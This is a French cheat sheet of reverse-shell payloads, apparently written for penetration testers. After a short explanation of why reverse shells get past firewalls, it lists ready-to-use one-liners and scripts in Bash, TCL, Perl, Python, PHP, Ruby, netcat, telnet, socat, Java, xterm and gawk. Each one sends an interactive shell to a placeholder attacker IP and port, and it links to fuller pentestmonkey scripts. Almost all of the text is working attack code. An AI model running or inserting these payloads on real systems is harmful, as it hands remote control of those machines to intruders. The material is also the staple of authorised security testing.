les reverse shell
| le reverse shell | ||||
|---|---|---|---|---|
| Un « reverse-shell » n’est autre qu’un shell (terminal/console) contrôlé à distance par un utilisateur. Un shell simple se traduit par une attente de connexion sur un port précis par la machine à contrôler. L’utilisateur va se connecter sur ce port et récupérer le terminal interactif. Le « reverse-shell » est l’inverse : c’est l’utilisateur qui place un processus en écoute sur un port précis, et c’est la machine à contrôler qui établie la connexion vers la machine de l’utilisateur pour lui transmettre le contrôle de son terminal. L’intérêt du « reverse-shell »? Plus besoin de se soucier des IPs des machines distantes à contrôler puisque ce sont elles qui se connectent à l’utilisateur. De plus, comme la connexion est sortante à partir de la machine à contrôler, les pare-feux/routeurs bloquent rarement ce type de flux. | ||||
| Bash | |||
|---|---|---|---|
| Certaines versions de Bash permettent de transmettre un reverse-shell via « /dev/tcp/ » ou « /dev/udp/ » (version compilée avec le drapeau « –enable-net-redirections »). | |||
| - | bash -i >& /dev/tcp/<IP>/<PORT> 0>&1 | ||
| - | exec 5<>/dev/tcp/<IP>/<PORT>;cat <&5 | while read line; do $line 2>&5 >&5; done | ||
| - | exec /bin/sh 0</dev/tcp/<IP>/<PORT> 1>&0 2>&0 | ||
| - | 0<&196;exec 196<>/dev/tcp/<IP>/<PORT>; sh <&196 >&196 2>&196 | ||
| TCLsh | |||
|---|---|---|---|
| Souvent cité comme alternative à l’utilisation de « /dev/tcp/ » et « /dev/udp/ » lorsque ceux-ci ne sont pas disponibles, TCL est un langage permettant l’utilisation des sockets et l’exécution de commande. En d’autres termes, adéquat pour établir un reverse-shell. Script TCL d’établissement d’un reverse-shell : | |||
| - | #!/usr/bin/tclsh
set s [socket <IP> <PORT>];
while {42} {
puts -nonewline $s "shell>";
flush $s;
gets $s c;
set e "exec $c";
if {![catch {set r [eval $e]} err]} {
puts $s $r;
}
flush $s;
}
close $s; | ||
| Version one-line | echo 'set s [socket <IP> <PORT>];while 42 { puts -nonewline $s "shell>";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh | ||
| Perl | |||
|---|---|---|---|
| Version dépendante de « /bin/sh » | perl -e 'use Socket;$i="<IP>";$p=<PORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' | ||
| Version indépendante de « /bin/sh » pour Linux (avec fork) | perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"<IP>:<PORT>");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' | ||
| Si le système cible est un Windows (sans fork) | perl -MIO -e "$c=new IO::Socket::INET(PeerAddr,'<IP>:<PORT>');STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;" | ||
| script complet | http://pentestmonkey.net/tools/web-shells/perl-reverse-shell | ||
| Python | |||
|---|---|---|---|
| - | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' | ||
| PHP | |||
|---|---|---|---|
| - | php -r '$s=fsockopen("<IP>",<PORT>);exec("/bin/sh -i <&3 >&3 2>&3");' | ||
| - | php -r '$s=fsockopen("<IP>",<PORT>);shell_exec("/bin/sh -i <&3 >&3 2>&3");' | ||
| - | php -r '$s=fsockopen("<IP>",<PORT>);`/bin/sh -i <&3 >&3 2>&3`;' | ||
| - | php -r '$s=fsockopen("<IP>",<PORT>);system("/bin/sh -i <&3 >&3 2>&3");' | ||
| - | php -r '$s=fsockopen("<IP>",<PORT>);popen("/bin/sh -i <&3 >&3 2>&3", "r");' | ||
| script | http://pentestmonkey.net/tools/web-shells/php-reverse-shell | ||
| Ruby | |||
|---|---|---|---|
| One-line dépendante de « /bin/sh » : | ruby -rsocket -e'f=TCPSocket.open("<IP>",<PORT>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' | ||
| Version indépendante de « /bin/sh » pour Linux (avec fork) | ruby -rsocket -e 'exit if fork;c=TCPSocket.new("<IP>","<PORT>");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' | ||
| Version pour Windows (sans fork) | ruby -rsocket -e "c=TCPSocket.new('<IP>','<PORT<');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end" | ||
| Netcat | |||
|---|---|---|---|
| Version traditionnelle de netcat (paquet netcat-traditional) avec arguments « -c » ou « -e » disponibles (GAPING_SECURITY_HOLE activé) | |||
| - | nc <IP> <PORT> -e /bin/bash | ||
| - | /bin/nc.traditional <IP< <PORT> -e /bin/bash | ||
| - | /bin/nc.traditional <IP< <PORT> -c /bin/bash | ||
| Pour toutes les autres version de netcat (notamment netcat-openbsd) qui ont été compilées avec le « GAPING_SECURITY_HOLE » de désactivé | |||
| Via « mkfifo » | |||
rm f;mkfifo f;cat f|/bin/sh -i 2>&1|nc <IP> <PORT> > f | |||
rm f;mkfifo f;cat f|/bin/sh -i 2>&1|/bin/nc.openbsd <IP> <PORT> > f | |||
| Via « mknod » | |||
rm -f x; mknod x p && nc <IP> <PORT> 0<x | /bin/bash 1>x | |||
rm -f x; mknod x p && /bin/nc.openbsd <IP> <PORT> 0<x | /bin/bash 1>x | |||
| Telnet | |||
|---|---|---|---|
| Le double telnet, qui effectue une double connexion à la machine de l’auditeur sur deux ports différents. Le pentesteur doit donc placer deux netcat en écoute sur deux ports (1337 et 1338). Le premier netcat permettra d’entrer les commande et le second de recevoir les résultats. | |||
| - | telnet <IP> <PORT1> | /bin/bash | telnet <IP> <PORT2> | ||
| Via « mkfifo » | rm f;mkfifo f;cat f|/bin/sh -i 2>&1|telnet <IP> <PORT> > f | ||
| Via « mknod » | rm -f x; mknod x p && telnet <IP> <PORT> 0<x | /bin/bash 1>x | ||
| Socat | |||
|---|---|---|---|
| Dans la ligné des outils pour contrôler les flux réseaux, Socat est une des références. Rarement présent par défaut dans les distributions Linux (uniquement), il est possible de récupérer un reverse-shell par son intermédiaire ocat permet des connexions bidirectionnelles pour établir des reverse-shell totalement interactifs (avec dead-keys, touches de contrôle…), et supporte nativement le chiffrement SSL, l’IPv6 | |||
| - | socat tcp-connect:<IP>:<PORT> exec:"bash -li",pty,stderr,setsid,sigint,sane | ||
| Java | |||
|---|---|---|---|
| - | r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<IP>/<PORT>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor() | ||
| xterm | |||
|---|---|---|---|
| Une autre méthode permettant d’obtenir un reverse-shell est l’utilisation du transfert d’un terminal xterm. Pour réaliser cela, un X-Server doit être présent sur la machine de l’auditeur. Le paquet « xnest » permet cela aisément sur les systèmes Linux. Il faut de plus autoriser les connexions en provenance de la machine cible. | |||
| Sur la machine du pentesteur (mise en écoute sur le port 6001) : | Xnest :1 | ||
| sur la machine cible | xterm -display <IP>:1 | ||
| Si le système est un Solaris, « xterm » ne fait pas partie par défaut de l’environnement. Son chemin d’accès complet doit être renseigné | /usr/openwin/bin/xterm -display <IP>:1 | ||
| (G)awk | |||
|---|---|---|---|
| Reverse-shell via Gawk, basé sur un script de shell simple en provenance du Phrack 62 | |||
| - | #!/usr/bin/awk -f
BEGIN {
s = "/inet/tcp/0/<IP>/<PORT>"
while(42) {
do{
printf "shell>" |& s
s |& getline c
if(c){
while ((c |& getline) > 0)
print $0 |& s
close(c)
}
} while(c != "exit")
close(s)
}
} | ||
| Pour une exécution « one-line » en utilisant « awk » développée par ASafety (ou sa variante GNU Gawk) | awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null | ||